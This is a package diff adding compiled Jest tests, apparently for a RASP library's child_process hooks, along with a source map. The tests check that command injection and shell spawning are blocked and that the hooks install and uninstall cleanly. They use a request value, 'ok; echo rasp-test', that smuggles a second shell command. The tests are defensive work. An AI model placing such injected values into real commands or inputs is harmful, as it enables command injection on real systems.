+        setMode('block', { command_injection: cmdi, shell_spawn: 'block' });
+        const original = jest.spyOn(cp, 'execSync');
+        (0, process_1.installProcessHooks)();
+        const err = inRequest([req('ok; echo rasp-test')], () => {
+            try {
+                cp.execSync(line);
+            }
+            catch (e) {
+                return e;
+            }
+        });
+        expect(err).toBeInstanceOf(types_1.RaspBlockedError);
+        expect(err.rule).toBe('shell_spawn.shell');
+        expect(original).not.toHaveBeenCalled();
+        expect(events.map((e) => [e.attrs['shield360.rasp.attack'], e.attrs['shield360.rasp.decision']])).toEqual([['shell_spawn', 'blocked']]);
+    });
+    it('ties keep the contract order', () => {
+        setMode('block');
+        (0, process_1.installProcessHooks)();
+        expect(() => inRequest([req('ok; echo rasp-test')], () => cp.execSync(line))).toThrow(expect.objectContaining({ rule: 'cmdi.userinput' }));
+    });
+});
+describe('install and uninstall', () => {
+    it('is idempotent and restores the module exactly', () => {
+        (0, process_1.installProcessHooks)();
+        const wrapper = cp.spawn;
+        (0, process_1.installProcessHooks)();
+        expect(cp.spawn).toBe(wrapper);
+        for (const api of process_1.PROCESS_APIS) {
+            const original = originals.get(api).value;
+            expect(cp[api]).not.toBe(original);
+            expect(cp[api].name).toBe(original.name);
+            expect(cp[api].length).toBe(original.length);
+        }
+        (0, process_1.uninstallProcessHooks)();
+        (0, process_1.uninstallProcessHooks)();
+        for (const api of process_1.PROCESS_APIS)
+            expect(Object.getOwnPropertyDescriptor(cp, api)).toEqual(originals.get(api));
+    });
+    it('carries the change to ESM named bindings on install and uninstall', () => {
+        // Jest cannot load native ESM here; the effect on an ESM import is checked in the next test's child process.
+        const sync = jest.spyOn(nodeModule, 'syncBuiltinESMExports');
+        (0, process_1.installProcessHooks)();
+        expect(sync).toHaveBeenCalledTimes(1);
+        (0, process_1.uninstallProcessHooks)();
+        expect(sync).toHaveBeenCalledTimes(2);
+    });
+    it('an ESM import sees the wrapper', () => {
+        // A separate Node process (started before install, so unchecked) runs the
+        // same install steps on a native ESM namespace.
+        const script = [
+            "import * as ns from 'node:child_process';",
+            "import { createRequire, syncBuiltinESMExports } from 'node:module';",
+            "const cp = createRequire(import.meta.url)('child_process');",
+            'const before = ns.spawn;',
+            "Object.defineProperty(cp, 'spawn', { ...Object.getOwnPropertyDescriptor(cp, 'spawn'), value: function spawn() {} });",
+            'syncBuiltinESMExports();',
+            'process.exit(ns.spawn === cp.spawn && ns.spawn !== before ? 0 : 1);',
+        ].join('\n');
+        expect(cp.spawnSync(node, ['--input-type=module', '-e', script]).status).toBe(0);
+    });
+});
+//# sourceMappingURL=process-hook.test.js.map

package/dist/rasp/__tests__/process-hook.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"process-hook.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/process-hook.test.ts"],"names":[],"mappings":"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"}

package/dist/rasp/__tests__/reporter.test.d.ts

@@ -0,0 +1 @@
+export {};